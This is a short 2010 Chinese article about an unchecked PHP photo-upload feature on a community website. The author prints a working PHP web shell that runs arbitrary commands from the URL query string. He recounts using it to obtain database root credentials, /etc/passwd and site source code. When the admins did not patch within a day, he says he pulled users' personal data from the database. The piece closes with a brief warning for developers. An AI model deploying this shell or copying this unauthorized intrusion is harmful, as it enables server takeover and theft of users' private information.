关于php做社区网站的安全性

时间:2010-01-09 08:29:21   来源:第二电脑网  作者:第二电脑网

  第二电脑网导读:>PHP内容如下:<?$dbs=mysql_connect($strDBHost,$strDBUser,$strDBPassword);……mysql_close($dbs);?>  当然……中我只作了个测试,没有真正使用数据库,但是我以另一个PHP,?????.php,内容如下:<?$query=getenv("QUERY_STRING");$command=urldecode($query);$stdout=system("$command"...
  正文:

  目前,我发现某个社区网站中的一个上传“我的照片”功能有着很大的安全隐患,因为上传程序未对上传的文件做分析,从而我可以上传一个test.PHP的文件, 然后服务器上的名字就为?????.php(?????为数字),

  我的PHP内容如下:
<?
$dbs=mysql_connect($strDBHost,$strDBUser,$strDBPassword);
……
mysql_close($dbs);
?>

  当然……中我只作了个测试,没有真正使用数据库,但是我以另一个PHP,?????.php,内容如下:
<?
$query=getenv("QUERY_STRING");
$command=urldecode($query);
$stdout=system("$command");
echo "$stdout";
?>

成功的取得
$strDBHost = "?.?.?.?";
$strDBPassword = "????";
$strDBUser = "root";
并连上数据库

  然后用后一个PHP把上传的PHP命名为CMD.PHP和DB.PHP

  成功取得/ETC/PASSWD和该网站的首页面MAIN.PHP源码。

  然后我发信警告网管,但是他们在第一天没及时修补漏洞,于是我对数据库进行分析,并上传了个MB.PHP,成功的得到数据库内的用户信息。

  今天他们采取的修补手段是把那个可以上传的目录移去,不过这将导致用户暂时不能浏览、上传照片。

  所以进行此类设计时,应该考虑到恶意用户通过直接调用url,把恶意数据传个程序,而不能以为网页在服务器端就安全了!


来源:http://www.002pc.com/master/College/Programming/PHP/11661.html

收藏到:

关于《关于php做社区网站的安全性》文章的评论

共有 0 位网友发表了评论 此处只显示部分留言 点击查看完整评论页面

随机文章

    SQL Error: select * from ***_ecms_article where classid='86' and checked=1 order by rand() limit 10

顶出来的热门

    SQL Error: select * from ***_ecms_article where classid='86' and checked=1 order by diggtop desc,id desc limit 10
站内搜索: 高级搜索

热门搜索: Windows style 系统 tr IP QQ CPU 安装 function 注册 if td